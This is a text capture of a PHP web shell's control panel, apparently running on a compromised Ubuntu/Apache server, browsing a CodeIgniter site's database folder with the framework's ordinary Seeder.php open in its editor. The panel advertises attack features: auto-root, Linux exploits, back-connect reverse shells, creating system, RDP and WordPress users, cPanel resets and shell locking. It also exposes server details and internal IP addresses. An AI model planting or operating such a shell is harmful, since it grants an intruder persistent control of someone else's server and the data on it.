Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cai /
system /
database /
[ HOME SHELL ]
Name
Size
Permission
Action
Exceptions
[ DIR ]
drwxr-x--x
MySQLi
[ DIR ]
drwxr-x--x
Postgre
[ DIR ]
drwxr-x--x
SQLSRV
[ DIR ]
drwxr-x--x
SQLite3
[ DIR ]
drwxr-x--x
drivers
[ DIR ]
drwxr-x--x
BaseBuilder.php
71.65
KB
-rwxr-x--x
BaseConnection.php
41.27
KB
-rwxr-x--x
BasePreparedQuery.php
4.37
KB
-rwxr-x--x
BaseResult.php
12.27
KB
-rwxr-x--x
BaseUtils.php
8.12
KB
-rwxr-x--x
Config.php
3.55
KB
-rwxr-x--x
ConnectionInterface.php
3.79
KB
-rwxr-x--x
DB.php
6.52
KB
-rwxr-x--x
DB_cache.php
5.76
KB
-rwxr-x--x
DB_driver.php
44.87
KB
-rwxr-x--x
DB_forge.php
23.58
KB
-rwxr-x--x
DB_query_builder.php
62.23
KB
-rwxr-x--x
DB_result.php
13.97
KB
-rwxr-x--x
DB_utility.php
10.59
KB
-rwxr-x--x
Database.php
3.76
KB
-rwxr-x--x
Forge.php
27.94
KB
-rwxr-x--x
Migration.php
1.3
KB
-rwxr-x--x
MigrationRunner.php
21.86
KB
-rwxr-x--x
ModelFactory.php
1.15
KB
-rwxr-x--x
PreparedQueryInterface.php
1.24
KB
-rwxr-x--x
Query.php
10.12
KB
-rwxr-x--x
QueryInterface.php
2.21
KB
-rwxr-x--x
ResultInterface.php
3.91
KB
-rwxr-x--x
Seeder.php
4.07
KB
-rwxr-x--x
index.html
131
B
-rwxr-x--x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Seeder.php
<?php /** * This file is part of CodeIgniter 4 framework. * * (c) CodeIgniter Foundation <admin@codeigniter.com> * * For the full copyright and license information, please view * the LICENSE file that was distributed with this source code. */ namespace CodeIgniter\Database; use CodeIgniter\CLI\CLI; use Config\Database; use Faker\Factory; use Faker\Generator; use InvalidArgumentException; /** * Class Seeder */ class Seeder { /** * The name of the database group to use. * * @var string */ protected $DBGroup; /** * Where we can find the Seed files. * * @var string */ protected $seedPath; /** * An instance of the main Database configuration * * @var Database */ protected $config; /** * Database Connection instance * * @var BaseConnection */ protected $db; /** * Database Forge instance. * * @var Forge */ protected $forge; /** * If true, will not display CLI messages. * * @var bool */ protected $silent = false; /** * Faker Generator instance. * * @var Generator|null */ private static $faker; /** * Seeder constructor. */ public function __construct(Database $config, ?BaseConnection $db = null) { $this->seedPath = $config->filesPath ?? APPPATH . 'Database/'; if (empty($this->seedPath)) { throw new InvalidArgumentException('Invalid filesPath set in the Config\Database.'); } $this->seedPath = rtrim($this->seedPath, '\\/') . '/Seeds/'; if (! is_dir($this->seedPath)) { throw new InvalidArgumentException('Unable to locate the seeds directory. Please check Config\Database::filesPath'); } $this->config = &$config; $db = $db ?? Database::connect($this->DBGroup); $this->db = &$db; $this->forge = Database::forge($this->DBGroup); } /** * Gets the Faker Generator instance. */ public static function faker(): ?Generator { if (self::$faker === null && class_exists(Factory::class)) { self::$faker = Factory::create(); } return self::$faker; } /** * Loads the specified seeder and runs it. * * @throws InvalidArgumentException */ public function call(string $class) { $class = trim($class); if ($class === '') { throw new InvalidArgumentException('No seeder was specified.'); } if (strpos($class, '\\') === false) { $path = $this->seedPath . str_replace('.php', '', $class) . '.php'; if (! is_file($path)) { throw new InvalidArgumentException('The specified seeder is not a valid file: ' . $path); } // Assume the class has the correct namespace // @codeCoverageIgnoreStart $class = APP_NAMESPACE . '\Database\Seeds\\' . $class; if (! class_exists($class, false)) { require_once $path; } // @codeCoverageIgnoreEnd } /** @var Seeder $seeder */ $seeder = new $class($this->config); $seeder->setSilent($this->silent)->run(); unset($seeder); if (is_cli() && ! $this->silent) { CLI::write("Seeded: {$class}", 'green'); } } /** * Sets the location of the directory that seed files can be located in. * * @return $this */ public function setPath(string $path) { $this->seedPath = rtrim($path, '\\/') . '/'; return $this; } /** * Sets the silent treatment. * * @return $this */ public function setSilent(bool $silent) { $this->silent = $silent; return $this; } /** * Run the database seeds. This is where the magic happens. * * Child classes must implement this method and take care * of inserting their data here. * * @return mixed * * @codeCoverageIgnore */ public function run() { } }
Close